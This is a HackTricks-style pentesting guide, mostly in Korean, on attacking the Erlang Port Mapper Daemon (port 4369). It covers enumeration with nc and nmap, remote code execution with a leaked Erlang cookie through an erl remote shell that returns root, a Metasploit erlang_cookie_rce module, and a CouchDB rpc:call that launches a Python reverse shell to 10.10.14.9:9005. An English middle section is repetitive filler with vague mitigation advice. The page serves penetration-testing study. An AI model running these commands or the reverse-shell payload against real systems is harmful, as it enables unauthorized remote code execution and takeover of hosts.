4369 - Pentesting Erlang Port Mapper Daemon (epmd)

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

기본 정보

**Erlang Port Mapper Daemon (epmd)**는 분산 Erlang 인스턴스의 조정자로 작동합니다. 이는 심볼릭 노드 이름을 기계 주소에 매핑하여 각 노드 이름이 특정 주소와 연결되도록 보장하는 역할을 합니다. epmd의 이 역할은 네트워크 상에서 서로 다른 Erlang 노드 간의 원활한 상호작용과 통신을 위해 중요합니다.

기본 포트: 4369

PORT     STATE SERVICE VERSION
4369/tcp open  epmd    Erlang Port Mapper Daemon

이것은 기본적으로 RabbitMQ 및 CouchDB 설치에서 사용됩니다.

열거

수동

echo -n -e "\x00\x01\x6e" | nc -vn <IP> 4369

#Via Erlang, Download package from here: https://www.erlang-solutions.com/resources/download.html
dpkg -i esl-erlang_23.0-1~ubuntu~xenial_amd64.deb
apt-get install erlang
erl #Once Erlang is installed this will promp an erlang terminal
1> net_adm:names('<HOST>'). #This will return the listen addresses

자동

The Erlang Port Mapper Daemon (EPMD) is a service that runs on the default port 4369 in Erlang-based systems. It is responsible for managing the distribution of Erlang nodes and facilitating communication between them.

EPMD provides a simple and lightweight protocol that allows Erlang nodes to register themselves and discover other nodes on the network. This makes it easier for Erlang applications to establish connections and communicate with each other.

As a pentester, it is important to understand EPMD and its potential security vulnerabilities. By exploiting weaknesses in EPMD, an attacker can gain unauthorized access to Erlang nodes and potentially compromise the entire system.

One common vulnerability is the lack of authentication in EPMD. By default, EPMD does not require any authentication, allowing anyone to connect to it and query information about registered nodes. This can be exploited by an attacker to gather information about the system and potentially launch further attacks.

Another vulnerability is the potential for EPMD to leak sensitive information. When a node registers with EPMD, it sends its name and IP address. This information can be intercepted by an attacker and used to gather intelligence about the system's architecture and potential targets.

To mitigate these vulnerabilities, it is recommended to secure EPMD by implementing authentication mechanisms. This can be done by configuring EPMD to require a password or by using SSL/TLS encryption to secure the communication between nodes.

Additionally, it is important to regularly update Erlang-based systems to ensure that any known vulnerabilities in EPMD are patched. By keeping the system up to date, you can minimize the risk of exploitation and protect your network from potential attacks.

In conclusion, understanding EPMD and its vulnerabilities is crucial for pentesters. By exploiting weaknesses in EPMD, an attacker can gain unauthorized access to Erlang nodes and compromise the system. Implementing authentication mechanisms and keeping the system up to date are essential for securing EPMD and protecting your network.

nmap -sV -Pn -n -T4 -p 4369 --script epmd-info <IP>

PORT     STATE SERVICE VERSION
4369/tcp open  epmd    Erlang Port Mapper Daemon
| epmd-info:
|   epmd_port: 4369
|   nodes:
|     bigcouch: 11502
|     freeswitch: 8031
|     ecallmgr: 11501
|     kazoo_apps: 11500
|_    kazoo-rabbitmq: 25672

원격 연결

인증 쿠키를 유출할 수 있다면 호스트에서 코드를 실행할 수 있습니다. 일반적으로 이 쿠키는 ~/.erlang.cookie에 위치하며, erlang에서 처음 시작할 때 생성됩니다. 수동으로 수정되거나 설정되지 않은 경우, 이는 길이가 20인 무작위 문자열 [A:Z]입니다.

greif@baldr ~$ erl -cookie YOURLEAKEDCOOKIE -name test2 -remsh test@target.fqdn
Erlang/OTP 19 [erts-8.1] [source] [64-bit] [async-threads:10]

Eshell V8.1 (abort with ^G)

At last, we can start an erlang shell on the remote system.

(test@target.fqdn)1>os:cmd("id").
"uid=0(root) gid=0(root) groups=0(root)\n"

더 많은 정보는 https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/에서 확인할 수 있습니다. 저자는 쿠키를 무차별 대입하는 프로그램도 공유하고 있습니다:

로컬 연결

이 경우에는 CouchDB를 남용하여 권한을 로컬로 승격시킬 것입니다:

HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE
(anonymous@canape)1> rpc:call('couchdb@localhost', os, cmd, [whoami]).
"homer\n"
(anonymous@canape)4> rpc:call('couchdb@localhost', os, cmd, ["python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.9\", 9005));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"]).

예시는 https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution에서 가져왔습니다. Canape HTB 머신을 사용하여 이 취약점을 공격하는 방법을 연습할 수 있습니다.

Metasploit

#Metasploit can also exploit this if you know the cookie
msf5> use exploit/multi/misc/erlang_cookie_rce

Shodan

  • port:4369 "at port"

htARTE (HackTricks AWS Red Team Expert)에서 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

Last updated